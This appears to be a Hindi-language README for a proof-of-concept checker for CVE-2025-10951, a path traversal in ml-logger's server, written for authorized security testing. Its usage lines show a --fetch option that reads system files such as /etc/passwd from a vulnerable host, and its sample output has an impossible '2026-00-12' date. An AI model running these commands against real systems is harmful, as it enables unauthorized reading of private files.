CVE-2025-10951 - check_mllogger_traversal.py

CVE-2025-10951 / GHSA-8x9j-2p8r-7xc6 के लिए अस्तित्व-प्रमाण जाँचकर्ता — geyang/ml-logger (≤ 0.10.36) में एक बिना प्रमाणीकरण वाला पाथ ट्रैवर्सल, जो ml_logger/server.py के log_handler / stream_handler फ़ंक्शनों को प्रभावित करता है।

केवल उन्हीं सिस्टमों के विरुद्ध उपयोग करें जिनके परीक्षण के लिए आप अधिकृत हैं।

यह क्या जाँचता है

डिफ़ॉल्ट रूप से प्रमाण चरण केवल /etc/hostname पढ़ता है — एक एकल हानिरहित पंक्ति, जो लगभग हर Linux होस्ट पर मौजूद होती है, कभी संवेदनशील डेटा नहीं।

आवश्यकताएँ

pip install requests

उपयोग

मूल जाँच:

python3 check_mllogger_traversal.py http://TARGET:PORT

परिणाम JSON में लिखें (एंगेजमेंट दस्तावेज़ीकरण / साक्ष्य के लिए):

python3 check_mllogger_traversal.py http://TARGET:PORT --json results.json

आपके द्वारा चुनी गई किसी विशिष्ट फ़ाइल को प्राप्त करें (केवल तभी चलता है जब भेद्यता की पुष्टि हो):

python3 check_mllogger_traversal.py http://TARGET:PORT \
  --fetch /etc/passwd --output passwd.txt

सभी एक साथ:

python3 check_mllogger_traversal.py http://TARGET:PORT \
  --json results.json --fetch /etc/passwd --output passwd.txt

विकल्प

एग्ज़िट कोड

• 0 — भेद्यता की पुष्टि हुई (पूर्ण या संभावित)
• 1 — भेद्यता की पुष्टि नहीं हुई / लक्ष्य अगम्य

नमूना JSON आउटपुट

{
  "target": "http://192.xxx.xxx.xxx:8081",
  "timestamp": "2026-00-12T10:15:32.123456+00:00",
  "cve": "CVE-2025-10951",
  "glob_endpoint_confirmed": true,
  "stream_endpoint_confirmed": true,
  "vulnerable": true,
  "likely_vulnerable": true,
  "fetch": {
    "remote_path": "/etc/passwd",
    "local_path": "passwd.txt",
    "success": true
  }
}

नोट्स

• --fetch केवल भेद्यता जाँच के सफल होने के बाद ही चलेगा — यह किसी अप्रमाणित लक्ष्य के विरुद्ध फ़ेच का प्रयास नहीं करेगा।
• स्क्रिप्ट आपकी ओर से फ़ेच करने के लिए कभी भी फ़ाइल का चयन नहीं करती; आप हमेशा सटीक रिमोट पाथ प्रदान करते हैं।
• सर्वर में एक ज्ञात विचित्रता है जहाँ कुछ फ़ाइल-पठन विफलताएँ HTTP chunked-transfer प्रतिक्रिया को स्ट्रीम के बीच में दूषित कर देती हैं (स्वच्छ त्रुटि के बजाय एक कच्चा त्रुटि पृष्ठ बॉडी में लिख दिया जाता है)। स्क्रिप्ट इसे पकड़ लेती है और क्रैश होने के बजाय विफलता की रिपोर्ट करती है।

संदर्भ

• GHSA-8x9j-2p8r-7xc6
• geyang/ml-logger#74 — असुरक्षित फ़ाइल पठन
• geyang/ml-logger#73 — असुरक्षित फ़ाइल अपलोड
• geyang/ml-logger#72 — डिसीरियलाइज़ेशन RCE
• NVD — CVE-2025-10951